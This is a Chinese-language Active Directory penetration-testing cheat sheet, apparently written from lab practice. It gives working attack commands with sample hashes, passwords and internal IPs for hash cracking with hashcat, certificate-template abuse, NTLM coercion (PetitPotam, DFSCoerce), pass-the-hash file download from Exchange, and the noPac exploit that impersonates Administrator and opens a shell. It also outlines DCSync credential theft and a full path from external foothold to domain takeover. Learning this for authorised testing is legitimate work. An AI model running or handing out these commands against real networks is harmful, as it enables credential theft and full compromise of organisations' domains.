//-a 0: 这部分指定了攻击模式,0 表示直接破解模式(直接暴力破解)。
//rockyou.txt: RockYou字典是一个非常常用的密码字典,包含了大量常见密码,kali里自带但是需要解压一下。
//--force: 这部分强制执行攻击,即忽略一些警告和错误。
//例子
hashcat -m 18200 user222.txt -a 0 /usr/share/wordlists/rockyou.txt --force

18200:对应 NetNTLMv2哈希。通常用于破解从网络捕获的NTLMv2哈希。

13100:对应 Kerberos 5 TGS-REP etype 23哈希。通常用于破解从Kerberos协议中提取的TGS票据哈希。

1000::对应NTLM哈希。通常用于本地或网络身份验证。

5600:对应NetNTLMv1哈希。通常用于破解从 NTLM 身份验证协议中捕获的挑战-响应哈希

7500:对应Kerberos 5 AS-REP etype 23哈希。通常用于破解从Kerberos协议中提取的 AS-REP响应。

19600:对应Kerberos 5 TGS-REP etype 17 (AES256)哈希。通常用于破解从Kerberos协议中提取的 TGS票据。

certipy-ad

用于查找 Active Directory 环境中易受攻击的证书模板。

下载:kali自带,https://www.kali.org/tools/certipy-ad/

1
2
3
4
5
proxychains certipy-ad find -u <认证的用户名(UPN 格式)>  -password <密码> -dc-ip <域控制器ip> -vulnerable -stdout
//-vulnerable:仅显示易受攻击的证书模板。
//-stdout:将结果输出到标准输出(终端)。
//例子
proxychains certipy-ad find -u '[email protected]' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

pthexchange

通过NTLM或用户密码身份验证从目标靶机下载文件。

下载:https://github.com/Jumbo-WJB/PTH_Exchange

1
2
3
4
5
//通过NTLM身份验证
proxychains -q python3 pthexchange.py --target https://mail.exchange.com --username <用户名> --password '<NTLM哈希>' --action Download
//--action Download:指定操作为下载文件。
//例子
proxychains -q python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

dfscoerce

对目标服务器进行 DFS(分布式文件系统)强制认证攻击。

下载:https://github.com/Wh04m1001/DFSCoerce

1
2
3
4
//通过NTLM身份验证
proxychains -q python3 dfscoerce.py -u <用户名> -hashes <NTLM哈希> -d <目标域> <目标机器名> <目标主机ip>
//例子
proxychains -q python3 dfscoerce.py -u win19$ -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab win19 172.22.4.7

PetitPotam

对目标域控制器(DC)进行 PetitPotam攻击

下载:https://github.com/topotam/PetitPotam

1
2
3
4
5
6
7
8
9
10
//通过NTLM身份验证
proxychains -q python3 PetitPotam.py -u <用户名> -hashes <NTLM哈希> -d <目标域> -dc-ip <目标域控制器ip> <发起攻击的计算机名> <目标域控制器的计算机名>
//例子
proxychains -q python3 PetitPotam.py -u 'WIN19$' -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab DC01.xiaorang.lab


//通过用户密码身份验证
proxychains -q python3 PetitPotam.py -u <用户名> -p <密码> -d <目标域> ubuntu@80/pwn.txt <目标主机ip>
//例子
proxychains -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

netexec

netexec:用于执行各种网络协议和服务的工具,通常用于渗透测试和安全评估。NetExec是CrackMapExec的延续具有CrackMapExec的全部功能。

下载:https://www.kali.org/tools/netexec/

1
2
3
4
5
6
7
8
9
//扫描WebDAV服务
proxychains -q netexec <服务> <C段> -u <用户名> -p <密码> -d <目标域> -M <模块>
//例子
proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M webdav


//扫描petitpotam认证
proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M coerce_plus
//coerce_plus是CrackMapExec中petitpotam模块的替代。

nopac

利用CVE-2021-42278和CVE-2021-42287冒充标准域用户的 DA

下载:https://github.com/Ridter/noPac

1
2
3
4
5
6
7
proxychains -q python3 noPac.py <目标域>/<用户> -hashes <NTLM哈希> -dc-ip <目标域控制器ip> --impersonate Administrator -create-child -use-ldap -shell
//--impersonate:指定要冒充的用户。
//-create-child:创建子票据,用于进一步的权限提升。
//-use-ldap:使用LDAP协议进行身份验证和票据请求。
//-shell:获取交互式shell访问。
//例子
proxychains -q python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

域内渗透方式

DCSync攻击

AD域渗透中常用的凭据窃取手段。默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个域控制器(DC 1)想从其他域控制器(DC 2)同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制。DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据。

攻击前提:
默认情况下,必须获得以下任一用户的权限

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户域控制器的计算机帐户

攻击手段

利用kiwi或者mimikatz的DCSync模块提取域控Hash

提权方式

二、渗透基本流程

外网

外网踩点(信息搜集)

目的:通过踩点理清当前目标的网络信息等,便于我们进一步外网打点getshell当前目标。

搜集内容:

  • 开放的端口及服务,主要查看开启web服务的端口。
  • 网站是否有CMS,如果有CMS查看其版本并在网上查找该版本可能存在的漏洞(平时多审计一些CMS运气好可能就碰上了)。
  • 网站是否存在一些基础漏洞(能用漏扫工具扫出来的)。
  • 网站的框架,一些常见的如:Thinkphp、tomcat、shiro框架等,可以通过网站目录结构判断。网上搜索相关漏洞,有些可以利用对应的工具来检测。

搜集方式:

  • 端口:fscan、nmap
  • 目录:dirsearch
  • 扫漏:fscan(推荐)、nmap(次推)、xray、nuclei、afrog、goby(不推荐)

外网打点

目的:上面进行踩点完需要进行打点进行getshell控制服务器,便于进一步渗透内网。

打点方式:

  • 端口:web端口就自行进入查看,21端口可以尝试ftp匿名访问,一些常见数据库的端口如:MySQL :3306、Redis:6379、Oracle:1521、neo4j:7687(管理:7474)。
  • 数据库:MySQL用sqlmap先尝试正常都可以爆,其他的就网上找相关漏洞。
  • CMS:上面搜集到的CMS存在的漏洞一个一个尝试。
  • 框架:网上搜索对应版本漏洞,Thinkphp和shiro等可以用对应的工具打。

提权(看情况)

目的:打靶场有时候获取flag需要管理员权限才能查看,在实战中机密文件需要管理员才能查看。

方式:并到下面一起讲。

代理

搭建隧道(内网穿透)

目的:渗透内网时需要访问到内网中的设备及服务,利用内网穿透我们可以实现外部网络访问内网。

方式:

  • 反向:frp、chisel、venom、suo5
  • 正向:gost
  • 多级:venom

内网

信息搜集

目的:对内网中的网络服务进行探测搜集,理清内网中的网络架构,便于后续打通内网。

搜集内容:

  • 内网中有几台设备。
  • 设备的名称和系统。
  • 设备的漏洞,最常见的就是永恒之蓝。
  • 设备开放端口,主要查看开启web服务的端口。

搜集步骤:

  1. ifconfig/ipconfig(如果net-tools没有安装,上传CDK后运行或者用netstat -ano
  2. 上传fscan进行扫描,获取设备名和系统,以及可能存在的漏洞
  3. 配置完proxychains后用nmap进行扫描(基本用fscan就够了)

内网渗透

目的:打通内网,获取整个内网中所有设备的权限。

分类:

  • 非域环境渗透
  • 域环境渗透

对比:

特性 域环境渗透 非域环境渗透
管理方式 集中化管理(AD) 分散化管理
认证机制 Kerberos、NTLM 本地账户、NTLM
攻击重点 域控制器、组策略、信任关系 本地账户、共享资源、服务漏洞
横向移动 通过域内信任关系和组策略 通过本地账户和共享资源
常用工具 BloodHound、Mimikatz、Impacket工具箱等 Metasploit、Cobalt Strike(CS)等

注:通常可以通过非域环境渗透得到域环境里的设备的相关信息(如:域环境的用户等),从而进行域环境渗透。

非域环境渗透

特点:

  • 分散管理:每台计算机独立管理用户和权限。
  • 本地账户:用户账户和权限存储在本地计算机上。
  • 无集中认证:没有域控制器,认证和授权由每台计算机独立处理。
  • 资源共享:通过共享文件夹或本地账户实现资源共享。

步骤:

  1. 优先上面fscan扫描出来的漏洞。
  2. 如果没有扫描出漏洞,查看扫出来的web服务的端口。
  3. 查找网站存在的漏洞,进行getshell。
  4. 进行提权。
  5. 通过共享资源获取其他目标的相关信息,如:设备登录的用户和密码、其他网段的信息等等。
  6. 登录其他设备进行提权(如果是其他网段还需再做一次信息搜集)。

域环境渗透

特点:

  • 集中化管理:所有用户、计算机、权限等都通过域控制器(DC)集中管理。
  • 域内横向移动:获得域控即可访问域内的所有资源。
  • 组策略:通过组策略(GPO)统一管理域内计算机和用户的配置。
  • 信任关系:域之间可以建立信任关系,允许跨域访问资源。

步骤:

  1. 还是一样优先攻击fscan扫出来的漏洞。

  2. 如果没有扫描出漏洞,查看扫出来的web服务的端口。

  3. 查找网站存在的漏洞,进行getshell。

  4. 上传SharpHound或者直接在kali里用BloodHound-python来获取域环境的信息。

  5. 将结果丢到BloodHound分析域中的委派、用户之间的权限关系和到达admin最短路径等等

  6. 同上一步,也可直接用ADinfo来分析委派。

  7. 根据分析来选择攻击方式

    • 通过委派分析结果对应的打约束委派攻击、非约束委派攻击和基于资源的约束委派攻击。

    • 如果有权限关系,如:DCSync、WriteDacl等,利用相应工具来攻击。

    • 权限提升,如果有到达admin最短路径,那么优先利用该用户来获取域管的Hash。

  8. 获取域管Hash。

  9. 横向移动,获取整个域的控制。

三、一些常见攻击手段

PtH

PtT

委派